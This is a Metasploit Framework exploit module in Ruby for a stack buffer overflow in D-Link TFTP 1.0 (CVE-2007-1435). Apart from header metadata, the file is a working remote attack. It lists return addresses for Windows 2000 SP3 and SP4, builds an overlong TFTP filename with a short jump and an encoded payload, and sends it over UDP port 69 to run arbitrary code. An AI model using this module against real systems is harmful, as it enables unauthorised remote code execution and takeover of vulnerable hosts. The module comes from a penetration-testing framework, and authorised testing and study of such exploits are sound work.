D-Link TFTP 1.0 Long Filename Buffer Overflow

                                                ##
# $Id: dlink_long_filename.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GoodRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'D-Link TFTP 1.0 Long Filename Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in D-Link TFTP 1.0.
				By sending a request for an overly long file name, an attacker
				could overflow a buffer and execute arbitrary code. For best results,
				use bind payloads with nonx (No NX).
			},
			'Author'         =>
				[
					'LSO <lso[@]hushmail.com>', # Exploit module
					'patrick', # Refs, stability, targets etc
				],
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					[ 'CVE', '2007-1435' ],
					[ 'OSVDB', '33977' ],
					[ 'BID', '22923' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'Compat'   =>
					{
						'ConnectionType' => '-reverse',
					},
				},
			'SaveRegisters'  => [ 'ecx', 'eax', 'esi' ],
			'Platform'       => 'win',

			'Targets'        =>
				[
					# Patrick tested OK 20090228
					['Windows 2000 SP4 English', { 'Ret' => 0x77e1ccf7 } ], # jmp ebx
					['Windows 2000 SP3 English', { 'Ret' => 0x77f8361b } ], # jmp ebx
				],
			'Privileged'     => false,
			'DisclosureDate' => 'Mar 12 2007',
			'DefaultTarget' => 0))

		register_options(
			[
				Opt::RPORT(69)
			], self)
	end

	def exploit
		connect_udp

		print_status("Trying target #{target.name}...")

		juju = "\x00\x01"
		juju << Rex::Text.rand_text_alpha_upper(581)
		juju << Rex::Arch::X86.jmp_short(42)
		juju << Rex::Text.rand_text_alpha_upper(38)
		juju << [target.ret].pack('V') + payload.encoded

		udp_sock.put(juju)

		handler
		disconnect_udp
	end

end